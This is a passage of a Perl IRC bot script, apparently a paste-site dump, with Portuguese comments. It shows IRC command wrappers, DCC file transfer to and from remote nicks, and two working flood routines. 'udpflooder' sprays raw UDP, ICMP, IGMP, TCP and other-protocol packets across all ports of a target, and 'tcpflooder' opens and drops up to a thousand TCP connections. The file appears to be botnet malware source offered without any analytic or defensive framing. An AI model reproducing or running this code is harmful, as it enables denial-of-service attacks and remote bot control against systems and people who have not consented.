  810. return unless $#_ == 0;
  811. sendraw("JOIN $_[0]");
  812. }
  813. sub p { part(@_); }
  814. sub part {sendraw("PART $_[0]");}
  815.  
  816. sub nick {
  817. return unless $#_ == 0;
  818. sendraw("NICK $_[0]");
  819. }
  820.  
  821. sub invite {
  822. return unless $#_ == 1;
  823. sendraw("INVITE $_[1] $_[0]");
  824. }
  825. sub topico {
  826. return unless $#_ == 1;
  827. sendraw("TOPIC $_[0] $_[1]");
  828. }
  829. sub topic { topico(@_); }
  830.  
  831. sub whois {
  832. return unless $#_ == 0;
  833. sendraw("WHOIS $_[0]");
  834. }
  835. sub who {
  836. return unless $#_ == 0;
  837. sendraw("WHO $_[0]");
  838. }
  839. sub names {
  840. return unless $#_ == 0;
  841. sendraw("NAMES $_[0]");
  842. }
  843. sub away {
  844. sendraw("AWAY $_[0]");
  845. }
  846. sub back { away(); }
  847. sub quit {
  848. sendraw("QUIT :$_[0]");
  849. exit;
  850. }
  851.  
  852. # DCC
  853. package DCC;
  854.  
  855. sub connections {
  856. my @ready = $dcc_sel->can_read(1);
  857. # return unless (@ready);
  858. foreach my $fh (@ready) {
  859. my $dcctipo = $DCC{$fh}{tipo};
  860. my $arquivo = $DCC{$fh}{arquivo};
  861. my $bytes = $DCC{$fh}{bytes};
  862. my $cur_byte = $DCC{$fh}{curbyte};
  863. my $nick = $DCC{$fh}{nick};
  864.  
  865. my $msg;
  866. my $nread = sysread($fh, $msg, 10240);
  867.  
  868. if ($nread == 0 and $dcctipo =~ /^(get|sendcon)$/) {
  869. $DCC{$fh}{status} = "Cancelado";
  870. $DCC{$fh}{ftime} = time;
  871. $dcc_sel->remove($fh);
  872. $fh->close;
  873.  
  874.  
  875. next;
  876. }
  877.  
  878.  
  879. if ($dcctipo eq "get") {
  880. $DCC{$fh}{curbyte} += length($msg);
  881.  
  882. my $cur_byte = $DCC{$fh}{curbyte};
  883.  
  884. open(FILE, ">> $arquivo");
  885. print FILE "$msg" if ($cur_byte <= $bytes);
  886. close(FILE);
  887.  
  888. my $packbyte = pack("N", $cur_byte);
  889. print $fh "$packbyte";
  890.  
  891. if ($bytes == $cur_byte) {
  892. $dcc_sel->remove($fh);
  893. $fh->close;
  894. $DCC{$fh}{status} = "Recebido";
  895. $DCC{$fh}{ftime} = time;
  896. next;
  897. }
  898. } elsif ($dcctipo eq "send") {
  899. my $send = $fh->accept;
  900. $send->autoflush(1);
  901. $dcc_sel->add($send);
  902. $dcc_sel->remove($fh);
  903. $DCC{$send}{tipo} = 'sendcon';
  904. $DCC{$send}{itime} = time;
  905. $DCC{$send}{nick} = $nick;
  906. $DCC{$send}{bytes} = $bytes;
  907. $DCC{$send}{curbyte} = 0;
  908. $DCC{$send}{arquivo} = $arquivo;
  909. $DCC{$send}{ip} = $send->peerhost;
  910. $DCC{$send}{porta} = $send->peerport;
  911. $DCC{$send}{status} = "Enviando";
  912.  
  913. #de cara manda os primeiro 1024 bytes do arkivo.. o resto fik com o sendcon
  914. open(FILE, "< $arquivo");
  915. my $fbytes;
  916. read(FILE, $fbytes, 1024);
  917. print $send "$fbytes";
  918. close FILE;
  919. # delete($DCC{$fh});
  920. } elsif ($dcctipo eq 'sendcon') {
  921. my $bytes_sended = unpack("N", $msg);
  922. $DCC{$fh}{curbyte} = $bytes_sended;
  923. if ($bytes_sended == $bytes) {
  924. $fh->close;
  925. $dcc_sel->remove($fh);
  926. $DCC{$fh}{status} = "Enviado";
  927. $DCC{$fh}{ftime} = time;
  928. next;
  929. }
  930. open(SENDFILE, "< $arquivo");
  931. seek(SENDFILE, $bytes_sended, 0);
  932. my $send_bytes;
  933. read(SENDFILE, $send_bytes, 1024);
  934. print $fh "$send_bytes";
  935. close(SENDFILE);
  936. }
  937. }
  938. }
  939.  
  940.  
  941. sub SEND {
  942. my ($nick, $arquivo) = @_;
  943. unless (-r "$arquivo") {
  944. return(0);
  945. }
  946.  
  947. my $dccark = $arquivo;
  948. $dccark =~ s/[.*\/](\S+)/$1/;
  949.  
  950. my $meuip = $::irc_servers{"$::IRC_cur_socket"}{'meuip'};
  951. my $longip = unpack("N",inet_aton($meuip));
  952.  
  953. my @filestat = stat($arquivo);
  954. my $size_total=$filestat[7];
  955. if ($size_total == 0) {
  956. return(0);
  957. }
  958.  
  959. my ($porta, $sendsock);
  960. do {
  961. $porta = int rand(64511);
  962. $porta += 1024;
  963. $sendsock = IO::Socket::INET->new(Listen=>1, LocalPort =>$porta, Proto => 'tcp') and $dcc_sel->add($sendsock);
  964. } until $sendsock;
  965.  
  966. $DCC{$sendsock}{tipo} = 'send';
  967. $DCC{$sendsock}{nick} = $nick;
  968. $DCC{$sendsock}{bytes} = $size_total;
  969. $DCC{$sendsock}{arquivo} = $arquivo;
  970.  
  971.  
  972. &::ctcp("$nick", "DCC SEND $dccark $longip $porta $size_total");
  973.  
  974. }
  975.  
  976. sub GET {
  977. my ($arquivo, $dcclongip, $dccporta, $bytes, $nick) = @_;
  978. return(0) if (-e "$arquivo");
  979. if (open(FILE, "> $arquivo")) {
  980. close FILE;
  981. } else {
  982. return(0);
  983. }
  984.  
  985. my $dccip=fixaddr($dcclongip);
  986. return(0) if ($dccporta < 1024 or not defined $dccip or $bytes < 1);
  987. my $dccsock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$dccip, PeerPort=>$dccporta, Timeout=>15) or return (0);
  988. $dccsock->autoflush(1);
  989. $dcc_sel->add($dccsock);
  990. $DCC{$dccsock}{tipo} = 'get';
  991. $DCC{$dccsock}{itime} = time;
  992. $DCC{$dccsock}{nick} = $nick;
  993. $DCC{$dccsock}{bytes} = $bytes;
  994. $DCC{$dccsock}{curbyte} = 0;
  995. $DCC{$dccsock}{arquivo} = $arquivo;
  996. $DCC{$dccsock}{ip} = $dccip;
  997. $DCC{$dccsock}{porta} = $dccporta;
  998. $DCC{$dccsock}{status} = "Recebendo";
  999. }
  1000.  
  1001. # po fico xato de organiza o status.. dai fiz ele retorna o status de acordo com o socket.. dai o ADM.pl lista os sockets e faz as perguntas
  1002. sub Status {
  1003. my $socket = shift;
  1004. my $sock_tipo = $DCC{$socket}{tipo};
  1005. unless (lc($sock_tipo) eq "chat") {
  1006. my $nick = $DCC{$socket}{nick};
  1007. my $arquivo = $DCC{$socket}{arquivo};
  1008. my $itime = $DCC{$socket}{itime};
  1009. my $ftime = time;
  1010. my $status = $DCC{$socket}{status};
  1011. $ftime = $DCC{$socket}{ftime} if defined($DCC{$socket}{ftime});
  1012.  
  1013. my $d_time = $ftime-$itime;
  1014.  
  1015. my $cur_byte = $DCC{$socket}{curbyte};
  1016. my $bytes_total = $DCC{$socket}{bytes};
  1017.  
  1018. my $rate = 0;
  1019. $rate = ($cur_byte/1024)/$d_time if $cur_byte > 0;
  1020. my $porcen = ($cur_byte*100)/$bytes_total;
  1021.  
  1022. my ($r_duv, $p_duv);
  1023. if ($rate =~ /^(\d+)\.(\d)(\d)(\d)/) {
  1024. $r_duv = $3; $r_duv++ if $4 >= 5;
  1025. $rate = "$1\.$2"."$r_duv";
  1026. }
  1027. if ($porcen =~ /^(\d+)\.(\d)(\d)(\d)/) {
  1028. $p_duv = $3; $p_duv++ if $4 >= 5;
  1029. $porcen = "$1\.$2"."$p_duv";
  1030. }
  1031. return("$sock_tipo","$status","$nick","$arquivo","$bytes_total", "$cur_byte","$d_time", "$rate", "$porcen");
  1032. }
  1033.  
  1034.  
  1035. return(0);
  1036. }
  1037.  
  1038.  
  1039. # esse 'sub fixaddr' daki foi pego do NET::IRC::DCC identico soh copiei e coloei (colokar nome do autor)
  1040. sub fixaddr {
  1041. my ($address) = @_;
  1042.  
  1043. chomp $address; # just in case, sigh.
  1044. if ($address =~ /^\d+$/) {
  1045. return inet_ntoa(pack "N", $address);
  1046. } elsif ($address =~ /^[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}$/) {
  1047. return $address;
  1048. } elsif ($address =~ tr/a-zA-Z//) { # Whee! Obfuscation!
  1049. return inet_ntoa(((gethostbyname($address))[4])[0]);
  1050. } else {
  1051. return;
  1052. }
  1053. }
  1054. sub udpflooder {
  1055. my $iaddr = inet_aton($_[0]);
  1056. my $msg = 'A' x $_[1];
  1057. my $ftime = $_[2];
  1058. my $cp = 0;
  1059. my (%pacotes);
  1060. $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;
  1061. socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
  1062. socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
  1063. socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
  1064. socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
  1065. return(undef) if $cp == 4;
  1066. my $itime = time;
  1067. my ($cur_time);
  1068. while ( 1 ) {
  1069. for (my $port = 1;
  1070. $port <= 65000; $port++) {
  1071. $cur_time = time - $itime;
  1072. last if $cur_time >= $ftime;
  1073. send(SOCK1, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{igmp}++;
  1074. send(SOCK2, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{udp}++;
  1075. send(SOCK3, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{icmp}++;
  1076. send(SOCK4, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{tcp}++;
  1077. for (my $pc = 3;
  1078. $pc <= 255;$pc++) {
  1079. next if $pc == 6;
  1080. $cur_time = time - $itime;
  1081. last if $cur_time >= $ftime;
  1082. socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
  1083. send(SOCK5, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{o}++;
  1084. }
  1085. }
  1086. last if $cur_time >= $ftime;
  1087. }
  1088. return($cur_time, %pacotes);
  1089. }
  1090. sub tcpflooder {
  1091. my $itime = time;
  1092. my ($cur_time);
  1093. my ($ia,$pa,$proto,$j,$l,$t);
  1094. $ia=inet_aton($_[0]);
  1095. $pa=sockaddr_in($_[1],$ia);
  1096. $ftime=$_[2];
  1097. $proto=getprotobyname('tcp');
  1098. $j=0;$l=0;
  1099. $cur_time = time - $itime;
  1100. while ($l<1000){
  1101. $cur_time = time - $itime;
  1102. last if $cur_time >= $ftime;
  1103. $t="SOCK$l";
  1104. socket($t,PF_INET,SOCK_STREAM,$proto);
  1105. connect($t,$pa)||$j--;
  1106. $j++;$l++;
  1107. }
  1108. $l=0;
  1109. while ($l<1000){
  1110. $cur_time = time - $itime;
  1111. last if $cur_time >= $ftime;
  1112. $t="SOCK$l";
  1113. shutdown($t,2);
  1114. $l++;
  1115. }
  1116. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement